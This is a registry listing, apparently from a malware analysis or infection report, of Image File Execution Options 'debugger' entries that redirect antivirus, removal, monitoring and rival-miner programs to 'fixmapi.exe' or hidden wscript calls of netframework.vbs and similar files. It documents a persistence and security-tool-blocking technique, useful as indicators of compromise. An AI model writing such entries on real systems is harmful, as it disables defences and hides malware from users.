[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DUB8.2.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\stinger.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avz.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tcpvcon.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Tcpview.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nsl.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpx.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dll32.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sound.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemExplorer.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp64.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MRT.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SVRTgui.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDTools.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDSysRepair.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDShell.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDRootAlyzer.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDScan.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SpybotSD.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDWelcome.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Panda_URL_Filtering.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs...
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cdhtr.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rthdcpd.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\IObitUninstaler.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cureit.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Private Keeper.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NLBrute 1.2.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AnVir.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\turbomailer.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\runtime.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svdhost.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\frdpb_v2.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\runtime.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\GDSC.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ESETPoweliksCleaner.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs...
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\aswclear.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\runtime.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NL.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\runtime.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ess.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Process Explorer.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\runtime.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\autoruns.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\runtime.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Dr.Web.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\runtime.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\massscan_launcher.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pr.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WindowsUpdate.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NetMonitor.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\srs.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RDP Brute_Cracked.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Procmon.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Procmon64.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AdAwareDesktop.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DUBrute.2.2.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EnterpriseConsole.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lamescan3.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\StartupChecker.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spydetector323eng.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\aswclear5.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\gsam.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\revshow.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Ad-Aware.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgarkt.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NLBrute.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\brute.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QHSafeMain.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Suo12_StartupManager.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EmailSpider.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msrtn32.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spm.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\updateservice.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\soqkci.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SUPERANTISPYWARE.EXE] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SASCORE.EXE] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SASCORE64.EXE] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\srcver.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regsvr.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\command.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NableAVDBridge.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dwwin.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\task.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winscp.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sitehelp.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\romserver.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\minerd.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xray.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\minergate-service.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlogon.exe.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\InjectWinSockServiceV3.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDShred.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCloudCleaner.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ClamSentinel.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svsrv.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgrr.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsaoss.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsasss.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wtssvc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\szndesktop.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\systemx.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NmTaskTray.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NmService.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DUMeterSvc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WebProtectorPlus.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DUMeter.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SSScheduler.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tcpscvs.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ApVxdWin.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NmWebService.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PSROL.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\jusched.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AVENGINE.EXE] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\x64.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fmsh.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fmss.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ServiceApp.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\apgr.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\surfblock.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\auditd.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ciprotect.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\IProtectorService.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dcsrv.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicrosoftPage.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winmm.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgcefrend.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\endpointservice.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\epag.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\endpointintegration.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinPatrol.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WebProxy.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fmefss.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cgminer.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SBAMTray.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\brutb.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TrafInsp.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ipz.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ipz2.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cssrs.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Wasppacer.exe] 'debugger' = 'ipz2.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Wasppacer.exe] 'debugger' = 'ipz.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fwnrww.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TrafInspRep.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\secscan.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nssm.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmvp.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wuaudt.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\expmon.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msdts.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\jingling.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ForServiceApp.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wasub.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fmefsh.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\srs.exe.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SBAMSvc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svcohst.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TIASPN~1.EXE] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlog.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrssas.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ASP.NET.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\GWCtlSrv.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\GWIdlMon.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcLi.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hpssmhd.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\GlassWire.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\op_mon.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Avira.ServiceHost.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Avira.Systray.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\minerd_dp_com.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\minerd_cp_fr.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sys32.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winpoint.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Javagroup.exe] 'debugger' = 'fixmapi.exe'
